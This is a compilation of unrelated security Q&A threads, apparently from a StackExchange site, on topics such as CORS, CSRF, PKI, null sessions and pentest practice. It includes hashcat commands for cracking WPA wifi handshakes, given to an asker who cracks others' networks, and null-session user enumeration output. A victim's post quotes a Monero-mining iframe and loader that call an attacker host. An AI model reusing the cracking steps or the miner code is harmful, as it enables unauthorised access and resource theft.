Same sensitive info in HTML reply that was posted before Is it an issue to send back the same sensitive (PCI, PII) information from the server in the HTML reply that a user previously posted to the server?

On our webpage, the user enters some key info (name/address/card/account number/etc.), which is then posted to our server and we send back a page containing some non-sensitive details (dates, account balance, etc.) along with the key info he/she just provided, so that the user can further change some key values to alter the search.

Example:
POST to the server: ...&cardNumber=1111222233334444&...
Reply from the server: <html> ... <input name="cardNumber" value="1111222233334444" ... /> Here are some details about your card... </html>

The website has recently undergone a security assessment where the reviewer flagged this behavior as a high priority vulnerability, that we should not send back any sensitive info unmasked in the HTML response from the server (value="111122223333444" in the above example). They mentioned MITM attack, where somebody can steal sensitive info from the HTML data.

The developers challenged this saying the MITM can steal data from both ways of traffic, so the MITM could steal the data from the POST message and the server is not sending back more sensitive data than what was sent to the server originally.
And they provided some network trace showing some well known websites on the internet also doing this practice.

Who is right: the security reviewer or the developers, and why?

Note the website is accessible only over HTTPS and other security measurements (cache control, page expiration, etc.) also implemented.

Your developers are right. If HTTPS is used from the client to the server processing the request the connection should be just as secure in both directions. If both communications are on the same SSL session the key used for the actual encryption should be expected to be identical.

However it does beg the question of why are you doing this? If the client has just sent the card details why do these need to be sent back in the HTML? Can this not be handled with JavaScript at the client end?

I'm also not fully familiar with the PCI data security standards but this may be in breach of those. I know for receipts there are limits.

The do's and don'ts guide reads -

  Be sure to mask PAN whenever it is displayed. The first six and last four digits are the maximum number of digits that may be displayed.

To me sending this in HTML is a way of displaying it. There are also additional risks involving malicious code on the client.


Any useful tools for Android source code review? I'm wondering if anyone has some recommendations for Android source code review which is Java based. For example, reviewing an Android app for security issues.  Bonus for being F/OSS.

Fortify seems to be a good option but out of my price range. :)

Try LAPSE+, Yasca, CodePro AnalytiX, Klocwork Solo, and the Teachable Static Analysis Workbench.

Be sure to check out The Denim Group's blog post on Using static analysis to review file access in android apps, which includes some tools written in Perl.

When Angry Birds Attack Android Edition is the latest blog post from TEAM JOCK, who presented on this research during this video at Shmoocon with a talk entitled [PDF - TEAM JOCH vs. Android: The Ultimate Showdown - PDF].

Nils also presented on Building android sandcastles in android’s sandbox at a recent BlackHat.

ENISA has done a more formal job at modeling the risks to smartphone platforms with their Smartphones: Information security risks, opportunities and recommendations for users paper. Cigital has at least one blog post on Moving to Mobile - New Threats which also covers threat-modeling topics.


Smaller password lists I hack wifi passwords with kali linux on airmon-ng and I make always password lists with crunch but the lists are always too long (I'm talking about <100 PT) and I want to know if is there a solution with the same result but with a small size.

As far as I know, aircrack-ng only supports dictionary attacks when cracking WPA-PSK passwords. This necessarily means that the wordlist used must contain all the values you want to try, and naturally the wordlist will grow excessively long if you want to crack longer passwords.
The solution is to use some other tool like hashcat, which supports multiple cracking modes including brute-force and mask attacks, in which candidate passwords are generated while cracking and no wordlist is required.

This reddit post explains how to crack wifi passwords with hashcat:

Firstly you need to prepare you handshake .cap file and convert it to .hccap:
wpaclean cleaned_handshake.cap handshake.cap
aircrack-ng cleaned_handshake.cap -J final_handshake
You will get final_handshake.hccap file which can be accepted by hashcat.
About mask attack you can read here: https://hashcat.net/wiki/doku.php?id=mask_attack
For example, if you know that the password is 8-10 characters in length command will looks like:
hashcat -a 3 -m 2500 final_handshake.hccap ?a?a?a?a?a?a?a?a --increment --increment-min 8


How to verify CORS policy implementation? We've added Access-Control-Allow-Origin: *.domain.com and I'm able to view this in the response header. But how can I make sure this is implemented in the right way.

When I modify Origin or Referer I still get response for the request.

Cors only works for ajax requests, not direct http requests. Before the GET request is issued in an ajax request, an OPTIONS request is issued to determine if it is from a valid domain. If it violates the CORS policy, the GET request is never issued. This doesn’t happen if you just issue a direct get request. A good way to test is to write some javascript that fires off an ajax request and deploy it to a server that is on a different domain. Visit that domain, and see if the call succeeds. With the header that you listed above, it won’t.


Creating a 3rd party tool that requires a user's auth token for the service I want to scrape data from Fanball.com to keep track of the fantasy football players that I have drafted, and create a visualization of my exposure to different players. This is a tool that I have seen other people request and I would like to make it available to other users. In order to scrape the data of your leagues you need your auth token. How would I go about creating this tool for other people so that I can use their fanball auth token to scrape the data, without actually ever having the auth token or a password on my server. Instead of a web app, would it be better to make a desktop app that connects to the web? that way they can enter their information and it is stored on their machine?

Unless the server has configured to allow this use, you will probably be immediately blocked, in the browser, by Cross-Origin Resource Sharing (CORS). I've never completely understood the attack vectors CORS protects against, but one of them is the abuse of the same situation you're suggesting - access to a third-party site without either the third-party or the user's approval.

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

To do what you are asking, within the CORS framework, the server would need to be an active participant. They would need to return the proper headers on a pre-flight OPTIONS request to support CORS for your site's domain.

For some sites, they may have configured CORS to be very permissive and then you could just sort of sneak in. But they'd have to leave the door open for you.

Another way they could willingly help you achieve this sort of interaction is to provide an API, with OAuth support. You could then use OAuth "implicit flow" to authenticate entirely in the browser, and you'd never have had access to their token. Implicit flow is somewhat less secure though... it's usually better to have a server involved in API calls with OAuth. In which case, you'd never have had their password, and your access to the API might be limited by the permission they gave you, but their browser wouldn't be holding the token they fetched for you to use.

If you want to do scraping from a site that is not a willing participant, you shouldn't be able to do it from a web browser without accessing their password or auth token. A desktop app might be the way to go.

If you want to be honest about it though, you could pitch your idea to Fanball.com and see if they'd open an API to you. You might be able to persuade them that your application would add value to their service.


How to supply HTTP Basic Authentication details in OWASP ZAP proxy? I am using Basic HTTP Authentication to log into my Web Application. The credentials are Base64 encoded and sent to the Server. OWASP ZAP Proxy is intercepting the request and I can see the Authorization header included in my HTTP request. I want to include the authentication details in scan properties ahead of the scan. Please let me know how to do it in OWASP ZAP.

This link may help in answering my question.

You need to add your app to a Context and then set up HTTP Authentication for it: https://github.com/zaproxy/zap-core-help/wiki/HelpStartConceptsAuthentication#httpntlm-authentication


As a company, how can we prevent penetration testers from compromising our system? What tools or techniques can companies use to prevent penetration testers from behaving maliciously and exfiltrating data or compromising the system? I cannot imagine that the only protections companies use are contractual ones.

You're looking for a technical solution to a legal problem. This won't work.

What you worry about is primarily a legal problem. Penetration testers operate under a Non-Disclosure Agreement, which is the legal equivalent of "keep your mouth shut about anything you see here". Non-Disclosure Agreements, or NDAs for short, are what prevents a penetration tester from talking about the cool vulnerabilities they found when they tested ACME Corp. last week.

But why would a penetration tester honour a NDA? Because not doing so would basically destroy their career. If the company learns that a penetration tester disclosed internal information, they will sue the pen-tester for damages, which can be upwards of millions.

Furthermore, it'll completely destroy the reputation of the pen-tester, ensuring that nobody would ever hire them ever again. To a penetration tester, this means that the knowledge they have spent years or decades to accumulate is essentially worthless. Even if the idea seems sweet to a morally corrupt pen-tester, the punishment is magnitudes worse.

Furthermore, most pen-testers just have no interest in compromising a client. Why would they? It's in their best interest to ensure that the client is satisfied, so that they hire them again and again.

As for why you would not put in technical restrictions, there are several reasons. First, as a pentester, you feel like you are treated like a criminal. A lot of pentesters are proud of the work they do, and treating them like criminals just leaves a sour taste in their mouth. A pentester understands that a company has certain policies, but if a company goes above and beyond and escorting them with an armed guard to the toilet, just to make sure they don't look for post-it notes with passwords on them on their way back, they will feel mistrusted. This can and most likely will lower morale, and may cause a pentester to not          give their absolute best.

Furthermore, absurd technical constraints can also just make things difficult for a pen-tester. For example, if their company-provided domain account gets blocked as soon as they start Wireshark or nmap, it takes time for that account to get reactivated. It prevents a pentester from launching all their tools to find vulnerabilities as effectively as possible, and wastes a lot of their time.

This is bad for both the pentester and the customer, and will likely result in a worse overall experience for both of them.


Is there webapp login, password creation and maintenance, and user verification code in php? I'm trying to protect a number of accounts on a Linux server using apache's Basic authentication. I'm looking for a collection of php codes to handle login, logout, creation of user names and passwords, password maintenance, etc, from a web page. My site has a number of user accounts, each of which is accessed of the form: http://site.com/name1. I've set up apache to have a directory block and an htpasswd file for each name. Each account can have multiple user names and passwords.

I currently add user names and passwords manually from the command line, via SSH, but need to enable users to do it themselves for their own account via a web page. Is there a collection of php codes that will do this for me ? I'm not conversant in sql and would like to do this as simply as possible.

Thank you in advance.

I do not know that PHP answer, but strongly suggest you don't use Basic Authentication. This is a very poor form of username/password security and is extremely easy to decipher for a website pentester...and an attacker. Please see owasp.org for secure website information. I would think your PHP question would be better answered here: https://stackoverflow.com/questions.


Prevent CSRF attack using regular expression, session storage, and auth token? User login to my Web API Service using his user name and password.
Web API Service response auth token to client browser.

Client browser save auth token to session storage using JavaScript.
Client page use regular expression to validate every user's inputs.
Client send Ajax requests attached auth token to Web API Service.

Web API service use regular expression to validate data which come from every Ajax request.

By using this approach do I still need anti-forgery token to keep in client page as hidden?

Yes, you do still need an anti-CSRF implementation of some kind as you're still not able to verify the origin of the request.

To make a CSRF attack a little bit more clear, please have a look at this diagram:

An implementation of anti-CSRF, using PHP, can be found here.


public key Infrastructure hierarchy I was studying about Public Key Infrastructure. Here I have a table of issuer and subject, Which looks something like this:

Now I am stuck at a place. I need to draw full PKI hierarchies as trees where I want the entities should be represented as nodes and the certificates as directed edges (arrows).

I am just confused that will the issuer will be on the top or the subject and will CA be the root node?

Thanks for any inputs.

The self signed ones are the root nodes, which are generally drawn on top (i.e. the tree or trees are bottom up). You can distinguish them by looking at entries where the subject is also the issuer (J and K, in other words).

After that you simply draw edges from the root nodes to the underlying nodes. So in the end you should have a branch or chain going downwards from J to S and from S to M, and finally from M to E.

F and N don't seem to have been signed by any entity, which probably means they just form partial trees. In principle it is possible to use a trusted public key instead of a certificate. Generally public keys / certificates should be signed by some entity though.


NMAP Scan- Results Differ I'm trying to determine a server IP address via ping and open ports/services by running an NMAP scan.

At work, when I ping my website/server, I get a response from 172.16.XX.X.

If I run an NMAP scan, it brings a back a list of open ports/services. As expected.

However, from my home computer, when a ping is sent, I get a response from a completely different address 69.XXX.XXX.XX

If I run an NMAP scan on this address, it only brings back primary and secondary mail servers. mail.xxx.ca and mail2.xxx.ca.

Some things to note:

At work (scenario one), I am behind a firewall.

I know there is an FTP service running on this server/website.

This site requires HTTPS, and HTTP request are redirected to HTTPS.

Does anyone know why these would be so different?

172.16.x.x is a reserved LAN IP, meaning your workplace has likely a proxy for traffic outbound to the Internet that must be intercepting your nmap scan.  This is why you are getting a different IP and different results when scanning from work versus scanning from home.


Can sshd block IPs with failed attempts or is a tool like denyhosts or fail2ban necessary? I am only indirectly familiar with denyhosts (and only just discovered fail2ban) and they certainly seem like worthwhile tools.  However, after looking through the options for sshd_config I am trying to determine if there may be some similar functionality within sshd itself.

In particular, MaxAuthTries seems relevant.  From the man page for sshd_config:

MaxAuthTries
          Specifies the maximum number of authentication attempts  permit‐
          ted  per  connection.   Once the number of failures reaches half
          this value, additional failures are logged.  The default is 6.

However, this seems less like it will block the IP and more like it will simply close the connection which wouldn't do much for security if it allows further connections and thus authorization attempts.  That said, I'd be surprised to find that it doesn't support some level of IP blocking, even if it's level of logging or configuration isn't as desirable as some of the other tools.

I have password authentication turned off and I'm considering changing my ssh port, if only to avoid completely blind attempts to connect, so I'm not super concerned about brute-force attacks.  But blocking the IPs from potential attacks seems like it might be a nice additional level of security.

Is there a way to set up this up without a secondary tool or, if not, is there a reason this functionality isn't included?

SSH can manage itself as a service, so shutting down a connection after X number of attempts is within its expected domain of control. Blocking an IP is a much bigger task, which is why things like fail2ban exist. SSH logs the failures, fail2ban reads those logs and then kicks off remediation, like blocking the IP at the firewall.

In short, SSH cannot do what you want it to do because that functionality is handled by other layers of the system.


Evaluation of cryptosystem for authentication and keyexchange I'm a masters student in computer science who works part time with my own company as a consultant.

My lastest project is based on my bachelor thesis which handles everything except the security. The application will be audited by a much larger company than those who hired me and one requirement in the audit is dual layer of security on all channels.

The first layer will of course be ssl/tls. As for the second one I've come up with the following.

HTTP Digest Access Authentication - for credential exchange
DHKE - to create a shared secret that afterwards is used to transport an AES key.
RSA - to digitally sign the response from the server to ensure that there is no man in the middle.

My first thought was to use RSA to securely transport the key. But I thought that I could reduce the overhead by using DHKE instead. Correct me if I'm wrong.

The protocol would work something like this:

Client-> (username + public information for DHKE) -> Server
Server-> (B from DHKE, salt for HTTP digest, AES key encrypted with DHKE secret) -> Client
                 (Whole message signed with server private key)
Client-> AES(Hashed information for HTTP digest) -> Server
Server-> AES(Session token) -> Client

Once the session is initiated all messages will be encrypted with the AES key.
I am probably overthinking this and missing a lot of details and I would greatly appreciate some advice.

Kind regards
Johan Risch

You say this:

  one requirement in the audit is dual layer of security on all channels

and that says it all. Your auditors don't understand how cryptography or even security actually works. If they were physicians, they would double doses for all medicines; when they transplant a kidney they would try to hook an extra kidney; when they have to cut off a leg they would remove the other one as well, just to be sure.

Given that the audit is going to be done under such irrational auspices, the best you can hope for is to do something which formally complies to the "dual layer" ritual, but is otherwise harmless enough. This would point at encapsulating two SSL: within a SSL tunnel, just run another one (with distinct algorithms, so that the auditors don't notice how ridicule they are). If you really want to overawe them, use another library for the inner SSL, e.g. OpenSSL on the outside and GnuTLS within.

Making your own implementation of an existing protocol is fraught with perils; designing your own protocol even more so. Don't do it if you can avoid it. Reusing existing protocols and existing implementations will save you a lot of time and yield much fewer vulnerabilities.


Web site accepting authentication via GET There is a sign-in form on the website, which submits login/password via POST method.
Problem is, that code, which accepts login/password and authenticate user also accepts it via GET method (also, if
user was logged in previously - user logged out and logged in as new user).

Question 1: Is that considered secure? Looks like no. Logged-in user could do some important operation in the account (fill a
form with personal data, change password, upload some private data), during that an attacker could load hidden GET image on attacker'
site and this image with re-login victim to attacker's account. So victim will upload private data into attacker's account.

However I cannot find evidences that it's considered unsecure or that it's a known forgery type.

Question 2: How this attack called? Where can I find info about it?

ATTENTION: In my question form submited via POST, but attacker construct a GET link (with attackers' password in GET). So it's not about designing application which submits password via GET.

Question 1: this is not considered secure for a number of reasons:

The password can be seen on the URL
The password can be seen on browser history
All the passwords will be on server logs
If the user logs on the site, and there's a link pointing to an external site, and the user clicks it, the password is leaked
Spyware with URL monitoring will be able to get the password

I think the problem #3 is the most troubling. If someone gains access to the webserver, he will have all the passwords for every logged user, in plain text. I would fire the person designing this login scheme.

Even if the site employs SSL, those attacks can be done and get the passwords.

Question 2: This is not an attack, is a design error. It opens way to some attacks. Search for CSRF (or XSRF) for the easiest way to attack this design error.

EDIT: The above is true IF the authentication form sends data via GET, and it isn't the case.

If the attacker can create a form convincing the user to supply his login and password, it does not matter how secure the server-side is. Does not matter if the form is using GET or POST, HTTPS or HTTP, Javascript or Flash or Java applet or virtual machine running Linux over asm.js.


What accounts for file accessed immediately after including link in Gmail? Less than 60 seconds after sending an email w/ Gmail that contained a pasted https link to a .zip file, that file was accessed by two non-Google servers. Neither server belongs to the email recipient.

One of those servers is an Amazon Web Services (AWS) server, so that might be Google. But the other is not, and strangely, its referral URL is a google.com search result link in the form http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web...

Based on the file size, it appears the entire file was not downloaded (it's quite large). But I'm confused as to what's going on here. Is this something Google is doing for the purposes of previewing the link? Or is someone else getting access to this email? It was so quick, that I do think something automated is likely (as opposed to someone sitting around reading my email).

There are many, many participants between your client machine, Gmail, email infrastructure, the recipient's email provider, and the recipient's email client. And that's just the email stack of technologies. Any one of those parties, or a service used by one of those parties, may have checked the link for malware, content, or reputation or some other purpose.

Is someone else getting access to the email? Most definitely "yes". Each one of those parties touches it and, quite obviously, can read the content. Email is not a secure method of communication. That's why email content encryption is important, though tricky to implement.


Windows registry keys not preventing users/group enumeration via null session While testing our Windows Domain Controller (Server 2012 R2), I was able use the Linux utility rpcclient to enumerate user accounts and groups via a Null Session (see output below).

Checking the Windows Registry keys on the DC, I confirmed that:

HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous = 0
HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymousSAM = 1
HKLM\System\CurrentControlSet\Control\Lsa\EveryoneIncludesAnonymous =
0

Testing the same rpcclient commands against a lab environment Server 2012 R2 DC with the exact same three Registry settings resulted in a "NT_STATUS_ACCESS_DENIED" message, as expected.

Putting aside the issue of having Null Sessions enabled in the first place... My understanding is that a value of "1" for the "RestrictAnonymousSAM" key should disable the ability to enumerate users and groups via a Null Session, so why am I still able to enumerate user information using rpcclient? Also, if the RestrictAnonymousSAM key is insufficient, what other changes are necessary to completely disable user and group enumeration via Null Sessions?

root@linuxbox:~# rpcclient -U "" {DC IP address}
Enter 's password: {empty}
rpcclient $> querydispinfo
index: 0xad08 RID: 0x122a acb: 0x00020011 Account: 000003   Name: User1 Desc:
index: 0xab1d RID: 0x1159 acb: 0x00000010 Account: 000004   Name: User2 Desc:
index: 0xabdc RID: 0x65c acb: 0x00000010 Account: 000009    Name: User3 Desc:
...[snip]...
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1e5]
user:[Guest] rid:[0x1e6]
user:[krbtgt] rid:[0x1e7]
...[snip]...
rpcclient $> enumalsgroups builtin
group:[RDS Management Servers] rid:[0x252]
group:[Hyper-V Administrators] rid:[0x253]
group:[Access Control Assistance Operators] rid:[0x254]
...[snip]...
rpcclient $> enumalsgroups domain
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x24c]
group:[Denied RODC Password Replication Group] rid:[0x24d]
...[snip]...

From technet:
https://technet.microsoft.com/en-us/library/jj852184(v=ws.11).aspx

  This policy setting has no impact on domain controllers.


Using public IP addresses inside site-to-site VPN The two datacenters 'A' and 'B' that has site-to-site VPN set up, has internal subnets that are colliding. To work-around that I saw that the network team has NATed the IP addresses at 'B' to public IP addresses. Everything works. So, instead of using private IP addresses, clients from 'A' connects to a public IP address in 'B', which in turns gets de-NATed to the original private IP at 'B'. So, when a user at 'A' wants to SSH to a server in 'B', that user SSHs to a public IP address. Network team justifies it by saying it is completely secure since the traffic flies over VPN even though the destination address is a public IP. Is it something widely done across the industry to work around colliding subnets? How good is that from security point-of-view.

Yes, it's done quite often. Using public addresses eliminates a lot of problems when connecting multiple networks which use the same addresses in their local networks. If you're connecting multiple networks with the same IP ranges on the inside, things can get very, very ugly with very complicated NAT setups.

Of course, only public IP addresses actually assigned to the networks should be used or you'll probably be blocking some part of the public internet.


What happens when attacker scan a IP that is used by multiple devices? Assuming ISP gives only 1 external IP and you have few devices that use this IP. So you will have a router and few PC's with same external IP and different local IP. When all PC's are online and one of them are vulnerable to EternalBlue, Bluekeep or something else. When attacker scans external IP. Will he see that IP is vulnerable even in case if only one PC is vulnerable or it will scan only router IP? Or it will scan only one device that has this IP?

Assuming ISP gives only 1 external IP and you have few devices that use this IP

That doesn't happen. There's a network address translation in between. Every device has its own IP address.
That NAT device won't just "randomly" forward things to the devices it hides. So, only the NAT device (which you call "router", but it's really not a router, in the networking sense; there's no accessible addresses behind it, from the ISP's point of view) sees the port scan.


Video Tutorials resources for IT Security I am looking for Video Tutorials for IT Security or related. Something like khanacademy.org but for IT Security.

Suggestions?

SANS security institute has many many videos on you tube


Is it secure to reuse CSRF token from existing cookie (for a new tab in browser)? We have a system that does async request to backend to get CSRF (via AJAX). The response from the server is a new cookie and a header that we remember in javascript and use later.

It all works fine until we open two tabs, then the first tab remembered token does not match the new cookie because it was re-issued. The plan to fix this is to check if CSRF token already exists in a cookie and to return existing one if it's good.

It seems like a good and secure fix, but I would like to double check here that there are no drawbacks to this solution.

It sounds like this might lead to a form of session fixation, possibly preventing the system from ever re-issuing a new token by always making sure the cookie has one. The exploit vector for this might be a MiTM attack. Nevertheless, double-submit cookies are already somewhat vulnerable to MiTM attacks if not done properly.

Generally, with double-submitted cookies you don't need to change the cookie token for each request, just once per session.

If you need more strict protection, have long-lasting sessions, or multiple distinct sessions, you should look at using the synchronizer pattern.


Which cross-platform password managers support encryption using a hardware token? I am looking for a really secure password manager and I really like the fact that Password Safe supports encryption/decryption using a Yubikey programmed in challenge-response mode.

Read more here:

http://www.yubico.com/passwordsafe

Other password managers support Yubikey for login to your online vault (using Yubikey's One-Time-Password capabilities) but the password database is still only encrypted using a master password.

My problem is, that I need a platform manager that works on both Mac and Windows but Password Safe is Windows only.

Does anybody know of a password manager that:

Works on at least Mac and Windows (but Linux would also be nice)
Supports encryption using a hardware token (like Yubikey, but not necessarily that token)

Looks like I mis-read the question so thanks to Dracs for pointing that out.

I had a similar problem and went with local storage for certain passwords across Windows and Mac. I went with KeePass for both Windows and MAC, though I had to use different versions as KeePass isn't officially supported on on Mac afaik and it's called KeePassX and the MAC version is a little flaky tbh but it works. You can have two separate Yubikeys, one for each platform, with an appropriate back-up scenario in case you lose the key. The link to setting up Yubikey on Keepass is here - http://keepass.info/help/kb/kb090227_yubikey.html - scroll to the bottom of the page.

This solution really isn't scalable (as you need multiple keys and it's not as easy-to-use as say 1password or Lastpass), is very manual but it works and it ensures that the password database on the two systems are encrypted using the static password from yubikey.

There's currently a feature request to integrate Yubikey - http://support.agilebits.com/discussions/1password-38-for-mac-from-agilebits-website/17016-yubikey-support - so that would possibly help you but the 1password team don't seem keen on incorporating that functionality.


How to create secure portable firefox? When I need to access our school web portal I need to access it with my certificate (pfx). Since certificate needs to be installed in browser, I'm thinking (out of security reasons) to create a portable version of firefox. So I would buy a new usb stick, encrypt it's file system with TrueCrypt, so that every time I try to access it I have to enter my password. On it I would copy paste the newest versions of windows/linux firefox. To run FF from usb I would create a script with the startup switches like on this and this site in order to not mess up with any existing firefox profile and to not leave any trace on the pc where I would use my usb stick. Is this ok from the security point of view, have I missed something else?

Question is: Is this a secure way of having a portable FF? Since the later will be used only to access school portal from any machine in any network it needs to secure. By secure I mean: no one can misuse my login and/or certificate, I leave no browsing track/history on the host machine, my certificate can not be stolen, etc. In other words, what are possible security flaws in the setup I mentioned?

Jonathan has a  few good points, however it all may look a bit exaggerating. What I'm dealing with are mostly home, free wifi and little corporate networks. So I don't need to be extra paranoid that content of my usb will be copied during usage, even though it could be. But there is a workaround even in this circumstance... I would create a bootable usb disk with a minimal linux distro, the only prerequisite here is that I can boot PC from usb and  a DHCP network, and that should be all. In this case the only monitoring that can be done by admins is network traffic on routers, but  they shouldn't get much info in my case, they can get the url I connect to and that's almost all, the traffic content is encrypted.

It's true, software needs to be up to date, so I would need to update FF at least  once a month.

Are there any other security flaws in the idea I propose, I mean something like:

1) browser leaving tracks somewhere

2) type of encryption on usb

3) which file system to choose

Welcome to Information Security Stack exchange!  This is an interesting idea you are proposing, and here are some thoughts I have on it.  Overall, I believe it would provide you personally with an added layer of security if the admin permits it.  You could get into trouble if the idea violates their system security policy though, so be sure to check before you do it.  Here are my thoughts:

USB sticks are bad for security of the host systems (but may work for your situation):

I know many admins do not allow USB because they are a "good way" for malware to spread.  For example, malware could be spread by USB in the following ways:

The USB stick manufacturer could pre-install malware on the USB stick.
A hacker can transfer malware to a system over a USB stick.
The unsuspecting user can transfer malware that has unknowingly infected their USB stick.

It will probably help your own security, if it is permitted:

If your admin is okay with using USB sticks, you might gain some security with your method.  Because of the malware threat with USB sticks, unfortunately, your idea probably would not be a good "overall" security standard solution. Your idea will probably add some to your own security if it is permitted.

The comment posted by @user2313067 is a very good point, that it will not provide full security because the host machine can read what is on your USB stick.  However, I believe the admin would have to be fairly determined to get to your information to go through the measures described in the comment.  I believe it is unlikely (but not impossible) that the admin would be after your info though, and would be this determined to get it.

Potential for trouble:

This could violate system security policies that are already in place too (e.g. a good admin would not want a potential attacker to be able to run any arbitrary software off their USB stick).  To avoid getting into trouble, you will probably need to ask the admin if you can do it.

Keeping up to date:

One thing to be on the lookout for is that the FireFox browser (and probably all other browsers) have vulnerabilities that are sometimes discovered.  Because of this, it is important to keep your browser up to date (as the vendor releases new updates to fix discovered vulnerabilities).

Further input:

I am pretty sure I have not thought up all the pros and cons of his / her idea, and I look forward to seeing further thought on it.


Reason for Subject name in an X.509 Certificate For my studies, I'd like to dive a bit deeper into PKI and X.509.
Talking about certificates, one always gets the following sentence:

"Digital certificates map public keys to entities"

This means, trusting any CA in the corresponding certificate chain and knowing the entity, I can trust the public key and thus establish a secure channel.

But how do I know the entity. For instance, when I want to check out some (TLS-enabled) web page, I just know the Domain Name. And there's no real correlation between the URL and the entity, or am I wrong here. I always thought, the subject name indicates a correlation here, but as Peter Gutmann states it:

  Ns don't really work - there's no clear idea of what they should look
  like, most users don't know about (and don't want to know about) X.500
  and its naming conventions, and as a consequence of this the DN can
  end up containing just about anything.

Imagine a situation where an attacker is able to modify a DNS request and send me a forged DNS response with a bad IP in it. Imagine further, the attacker owns a certificate issued by a CA I trust? How would I be able to detect the evildoer here?

Your question doesn't seem to be the reason for Subject Name, which is to identify the subject, but rather whether it works.

Gutmann writes colorfully and at some length on things that actually don't matter most of the time, although when they do it's very useful to know about them. Yes, the full X.500 naming scheme specified to be used in X.509 certificates in general is a monster. (Committee designs are traditionally depicted as camels, although in this case octopus seems appropriate.)

However, SSL/TLS certificates and particularly web server certificates -- which is the only kind most people encounter and the only specific case in your question -- avoid the issue by really using only the CommonName attribute in Subject(name) to contain a 'fully-qualified' domain (DNS) name aka FQDN, or possibly (but rarely) an IP address; or nowadays usually the SubjectAlternativeName extension to contain FQDN(s) and possibly IP address(es). Although in actual operation (especially at its current worldwide scale) DNS isn't perfect either, most people can understand it easily enough, and certainly the domainname in an http:// or https:// URL is easy enough to see.

A legitimate CA should issue a certificate for a given domainname only to the 'owner' of that domain, although exactly what counts as ownership varies a little. You can visit each CA site and look at their application/validation rules and processes, or see CA/Browser Forum under Baseline Requirements which sets the (minimum) standards for CAs to be included in the truststores of most browsers and OSes (at least on consumer devices), and thus the ones most users end up trusting.

Thus, if the CAs do their job and attacker M can't either trick or force a trusted CA into wrongly issuing him a cert for domain D -- which has happened in a small number of cases, but not so many as to be a big problem -- M can't impersonate the website of domain D. Even though he gives you fake DNS (or IP routing, another possibility) he can't present and prove possession of the key for a valid cert for D and the SSL/TLS handshake fails.

Unless of course you, or the supplier of your browser or OS or device on your behalf, trusts a CA that issues bogus certs, for any of a range of reasons. For example, you can find probably a dozen Q&A here and other stack sites about last year's Lenovo Superfish fiasco: they added software to a large number of Windows PCs that used their own CA to MitM your HTTPS connections for the claimed purpose of providing more relevant advertising -- but they exposed the (fixed) CA privatekey and then anybody else could MitM you. They had to publish tools to remove the offending software and CA cert, and to catch any that slipped through the browser and OS makers also blacklisted their cert.


Monero being mined on our server I noticed that recently our website has been performing poorly and often using 100% CPU usage on users machines. After looking into this I have noticed that all of the jquery files on our CDN were edited 6 days ago and are now mining Monero client-side when people view our website.

The following iframe is being loaded on our page:

<iframe src="https://www.jqr-cdn.download/lot.html" style="width: 0px; height: 1px;">
<html>
    <head></head>
    <body>
        <script src="jquery-3.3.1.js"></script>
        <script>
            server = "wss://www.jqr-cdn.download:8190";
            startMining("minexmr.com","winner winner chicken dinner");
        </script>
    </body>
</html>

I think this is down to our S3 being publically writable (I will need to look into this)

My questions are:

Has this just been a CPU leech, or does anything else nefarious happen through this method of attack (data harvesting etc)

Will closing our S3 and overwriting the files with genuine copies solve the problem, if so will is solve it permanently?

What is the significance of the "winner winner chicken dinner" parameter, is this a username, just a taunt or something else?

The Java-Script https://www.jqr-cdn.download/jquery-3.3.1.js is loaded. If you format it, it looks like this:

https://pastebin.com/D9087NvS

Then the function startMining is called.

function startMining(e, r, m, n, y) {
    m = void 0 === m ? "" : m;
    n = void 0 === n ? -1 : n;
    y = void 0 === y ? "" : y;
    wasmSupported && (stopMining(), connected = 0, handshake = {
        identifier: "handshake",
        pool: e,
        login: r,
        password: m,
        userid: y,
        version: 5
    }, startBroadcast(function() {
        addWorkers(n);
        reconnector()
    }))
}

I couldn't see any indication in the script, that your data is accessed, but you should recheck the whole script.

Keep in mind, that the script could be changed, so you could never be sure, the current script on the server is the script executed on your system.

You have to check how the attacker placed the jquery files on your system.   If the files are writable for everyone, this might be the issue and overriding with a backup and adjusting the rights should help. Don't forget to change the passwords, as the attacker could have extracted them.


Login webpages not loading correctly Sorry for the vague description as i do not know how to properly describe this problem.

When some web pages are loaded, the formatting will be the wrong size and in strange places. in addition every drop down menu appears without prompting and it seems to not be able to load certain data.

This only seems to occur on web pages that require a login, and only after they have been logged into or I am on the login page. (parent pay, squadlist,

It occurs on chrome, internet explorer and Microsoft edge on two windows 10 PCs.
It also appears to occur on an apple tablet using its browser safari.(parent pay shown here)

What is happening and how worried should i be?

If this happens on multiple devices on the same connection then its possible that there is some filtering at the router, at the ISP, or you are using the same AV solution that is also blocking some content. If you are using ad-blockers, or anti-tracking plug-ins on all devices, turn them off and re-try.

If it happens on multiple devices on different connections (office, home, 4G) then it's a little more complex to debug?


Impose certificate extensions through the certificate authority instead of the client As I understand the creation of a x509 certificate is a simple 3 step process:

The client generates a private and a public key.
The clients generates a certificate signing request for the pair and signs it using its private key.
The certificate authority verifies the certificate signing request and generates a signature.

I am somewhat confused as to what information is provided by the client and what end up being imposed by the certificate authority. I'm fine with the client providing the basic information about who he is, but I do not understand why it is up to the client to provide v3 extensions (i.e. extendedKeyUsage). To me, the client is some user interested in using the PKI for accesses some sort of service. Thus the PKI is responsible for determining the scope of the certificate. Analogous its not the worker's job to make sure not to access restricted resources, its the security departments job to keep him from doing so.

In short: Why does the client provide v3 extensions in the certificate signing request instead of the certificate authority imposing them when generating the certificate?

The CSR is not used as a fixed order but more like a wishlist. Most CA do not simply sign this CSR but instead just take the clients public key from the CSR and then add whatever information and restrictions they think should be added to the certificate.


How to manage pen testing byproducts? Often when doing a pen test you need to hammer certain parts of the site that might be visible to other users.  If, for example, you suspect that a comment section is vulnerable to XSS, you might submit 20 or more comments with very strange input to check that.

How should I minimize the visibility of a penetration test to normal users?  Should I request admin privileges from the site owner so that I can go through and delete anything that would be visible to regular users?  Would it be better to request that a separate instance of the application be setup for testing purposes?  Is there an accepted best practice for handling this type of thing?

In my opinion for application testing the best approach is to work on a mirror of the production site (either clone the prod. site if they're using Virtual machines or use a test environment).  The key is that the code deployed should be the same as is in production. In that kind of environment you should be able to automate away without any concerns about the data created.

